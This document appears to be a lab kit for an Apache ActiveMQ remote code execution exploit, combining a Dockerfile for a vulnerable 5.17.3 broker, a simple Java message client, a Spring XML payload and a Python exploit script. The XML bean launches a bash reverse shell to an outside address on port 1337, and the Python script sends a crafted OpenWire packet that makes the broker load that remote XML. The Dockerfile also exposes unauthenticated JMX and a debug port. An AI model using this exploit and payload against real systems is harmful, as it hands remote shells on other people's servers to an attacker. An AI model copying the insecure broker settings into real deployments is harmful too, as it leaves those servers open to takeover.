# Use OpenJDK 11 as base image (compatible with ActiveMQ 5.17.3)
FROM openjdk:11-jre-slim

# Set environment variables
ENV ACTIVEMQ_VERSION=5.17.3
ENV ACTIVEMQ_HOME=/opt/activemq
ENV ACTIVEMQ_CONF=/opt/activemq/conf
ENV ACTIVEMQ_DATA=/opt/activemq/data
ENV JAVA_HOME=/usr/local/openjdk-11

# Create activemq user and group
RUN groupadd -r activemq && useradd -r -g activemq activemq

# Install necessary packages
RUN apt-get update && \
    apt-get install -y \
    procps \
    net-tools \
    curl \
    && rm -rf /var/lib/apt/lists/*

# Create directories
RUN mkdir -p ${ACTIVEMQ_HOME} ${ACTIVEMQ_DATA}

# Copy ActiveMQ installation
COPY . ${ACTIVEMQ_HOME}/

# Set permissions
RUN chown -R activemq:activemq ${ACTIVEMQ_HOME} && \
    chmod +x ${ACTIVEMQ_HOME}/bin/activemq

# Set working directory
WORKDIR ${ACTIVEMQ_HOME}

# Switch to activemq user
USER activemq

# Set Java options with debug configuration
ENV JAVA_OPTS="-Xms512M -Xmx2G \
    -Djava.util.logging.config.file=logging.properties \
    -Djava.security.auth.login.config=${ACTIVEMQ_CONF}/login.config \
    -Dcom.sun.management.jmxremote \
    -Dcom.sun.management.jmxremote.port=1099 \
    -Dcom.sun.management.jmxremote.rmi.port=1098 \
    -Dcom.sun.management.jmxremote.ssl=false \
    -Dcom.sun.management.jmxremote.authenticate=false \
    -Djava.rmi.server.hostname=0.0.0.0"

# Set ActiveMQ options with debug enabled
ENV ACTIVEMQ_OPTS="-Xdebug \
    -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=*:5005 \
    -Dactivemq.classpath=${ACTIVEMQ_HOME}/conf:${ACTIVEMQ_HOME}/lib/* \
    -Dactivemq.home=${ACTIVEMQ_HOME} \
    -Dactivemq.base=${ACTIVEMQ_HOME} \
    -Dactivemq.conf=${ACTIVEMQ_CONF} \
    -Dactivemq.data=${ACTIVEMQ_DATA}"

# Expose ports
# 61616 - OpenWire protocol
# 5672  - AMQP protocol
# 61613 - STOMP protocol
# 1883  - MQTT protocol
# 8161  - Web Console
# 1099  - JMX port
# 1098  - JMX RMI port
# 5005  - Debug port
EXPOSE 61616 5672 61613 1883 8161 1099 1098 5005

# Health check
HEALTHCHECK --interval=30s --timeout=10s --start-period=60s --retries=3 \
    CMD curl -f http://localhost:8161/ || exit 1

# Default command - run ActiveMQ in console mode with debug options
CMD ["sh", "-c", "exec ${ACTIVEMQ_HOME}/bin/activemq console"]

import javax.jms.*;
import org.apache.activemq.ActiveMQConnectionFactory;
import java.io.*;

public class Main {

    public static String brokerUrl = "tcp://localhost:61616?wireFormat.cacheEnabled=false&wireFormat.tightEncodingEnabled=false";

    public static void sendTextMsg(String queueName, String text) {
        try {
            ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
            cf.setOptimizedMessageDispatch(false);
            cf.setUseCompression(false);
            Connection connection = cf.createConnection();
            connection.start();
            Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
            Queue queue = session.createQueue(queueName);

            // Producer
            MessageProducer producer = session.createProducer(queue);
            TextMessage msg = session.createTextMessage(text);
            msg.setStringProperty("region", "apac");
            producer.send(msg);

            session.close();
            connection.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static String receiveTextMsg(String queueName) {
        try {
            ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
            cf.setOptimizedMessageDispatch(false);
            cf.setUseCompression(false);
            Connection connection = cf.createConnection();
            connection.start();
            Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
            Queue queue = session.createQueue(queueName);

            MessageConsumer consumer = session.createConsumer(queue, "region = 'apac'");
            Message m = consumer.receive(2000);
            String textMsg = null;
            if (m instanceof TextMessage) {
                textMsg = ((TextMessage) m).getText();
            }
            session.close();
            connection.close();
            return textMsg;
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

    public static void main(String[] args) throws Exception {
        sendTextMsg("test", "test");
        String msg = receiveTextMsg("test");
        System.out.println(msg);
    }
}

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>bash -i &gt;&amp; /dev/tcp/172.31.157.36/1337 0&gt;&amp;1</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

import socket 
import argparse 
 
def main(ip, port, url): 
    if not ip or not url: 
        print("Usage: script.py -i <ip> -p <port> -u <url>") 
        return 
    
     
    class_name = "org.springframework.context.support.ClassPathXmlApplicationContext" 
    message = url 
 
    header = "1f00000000000000000001" 
    body = header + "01" + int2hex(len(class_name), 4) + string2hex(class_name) + "01" + int2hex(len(message), 4) + string2hex(message) 
    payload = int2hex(len(body) // 2, 8) + body 
    data = bytes.fromhex(payload) 
 
    print("[*] Target:", f"{ip}:{port}") 
    print("[*] XML URL:", url) 
    print() 
    print("[*] Sending packet:", payload) 
 
    conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
    conn.connect((ip, int(port))) 
    conn.send(data) 
    conn.close() 
 
def string2hex(s): 
    return s.encode().hex() 
 
def int2hex(i, n): 
    if n == 4: 
        return format(i, '04x') 
    elif n == 8: 
        return format(i, '08x') 
    else: 
        raise ValueError("n must be 4 or 8") 
 
if __name__ == "__main__": 
    parser = argparse.ArgumentParser() 
    parser.add_argument("-i", "--ip", help="ActiveMQ Server IP or Host") 
    parser.add_argument("-p", "--port", default="61616", help="ActiveMQ Server Port") 
    parser.add_argument("-u", "--url", help="Spring XML Url") 
    args = parser.parse_args() 
     
    main(args.ip, args.port, args.url)